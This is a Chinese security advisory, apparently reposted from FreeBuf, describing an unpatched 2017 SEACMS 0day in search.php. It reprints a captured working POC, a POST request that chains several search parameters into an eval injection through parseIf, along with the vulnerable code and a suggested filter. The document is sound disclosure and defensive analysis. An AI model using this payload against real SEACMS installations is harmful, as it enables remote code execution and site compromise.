當前位置:
首頁 > 最新 > 海洋CMS0day漏洞預警

海洋CMS0day漏洞預警

概述

最近我們的一名安全託管客戶反應,其伺服器遭受到攻擊,被黑客上傳了webshell並篡改網頁內容。經過我們為客戶安裝雲鎖防護軟體後,攔截到一個針對海洋CMS(SEACMS)的0day漏洞。

海洋CMS(SEACMS)幾個老漏洞及其修補方法

官方在6.46版中修復了該漏洞,修復方法是對用戶輸入的參數進行過濾並限制長度為20個字元。但這種修復方法並沒有完全修復漏洞,因為在替換操作過程中用戶輸入的幾個參數可以進行組合,因此補丁被繞過。

隨後官方又在8月7日發布了6.54版本再次修復漏洞,這次修復增加了一句:

$order = ($order == "commend" || $order == "time" || $order == "hit") ? $order : "";

即限制了order參數只能是固定內容,這樣雖然避免了通過order參數進行的攻擊,但是卻沒有解決其他參數進入parseIf函數的問題。

海洋CMS(SEACMS)0day漏洞分析

我們抓取到的攻擊payload(POC)如下:

POST /search.php HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 208

Connection: keep-alive

Upgrade-Insecure-Requests: 1

searchtype=5&searchword=&year=:e}&area=v&letter=al&yuyan=(join&jq=($_P&&ver=OST[9]))&9[]=ph&9[]=pinfo();

可以看到,攻擊入口已經不在是order參數,我們來看一下search.php中的搜索實現過程:

function echoSearchPage(){...... $content = str_replace("",$page,$content); $content = str_replace("",$searchword,$content); $content = str_replace("",$TotalResult,$content); $content = str_replace("",$order,$content);...... $content = str_replace("",$year,$content); $content = str_replace("",$area,$content); $content = str_replace("",$letter,$content); $content = str_replace("",$yuyan,$content); $content = str_replace("",$jq,$content); ...... $content = str_replace("",$state2,$content); $content = str_replace("",$money2,$content); $content = str_replace("",$ver,$content);...... $content=$mainClassObj->parseIf($content);

可以看到,代碼中對html中的searchpage標籤進行了多次替換,而攻擊者也正是利用了這一點,在多次替換過程中使多個參數共同組合成最終的payload,這樣既繞開了RemoveXSS的過濾又繞過了20位元組的長度限制。

在對參數進行了替換之後,content中已經包含了如下攻擊payload:

if:eval(join($_POST[9]))

在隨後的POST數據中攻擊者又利用9[]把真正的payload利用base64_decode傳入。最終$content內容被傳入parseIf函數。在parseIf函數中判斷含有if:標籤,就會調用eval來執行該內容,從而導致了攻擊者的payload被執行。

function parseIf($content){ if (strpos($content, else{...... @eval("if(".$strIf."){$ifFlag=true;}else{$ifFlag=false;}");

漏洞修復

根據云鎖監測,目前該0day已經被大規模運用,而且攻擊者使用自動化攻擊腳本對全網SEACMS進行搜索並實施自動攻擊。我們已在9月份向CNVD和廠商報告了漏洞詳情,但截至2017.10.9,SEACMS仍然未發布該漏洞的補丁。建議SEACMS用戶立即安裝雲鎖並開啟文件防上傳功能,可暫時避免被自動化程序攻擊。或在echoSearchPage()函數中增加一條過濾語句:

if(strpos($searchword, {searchpage: )) exit;

本文轉自FreeBuf.COM


喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 雲鎖 的精彩文章:

TAG:雲鎖 |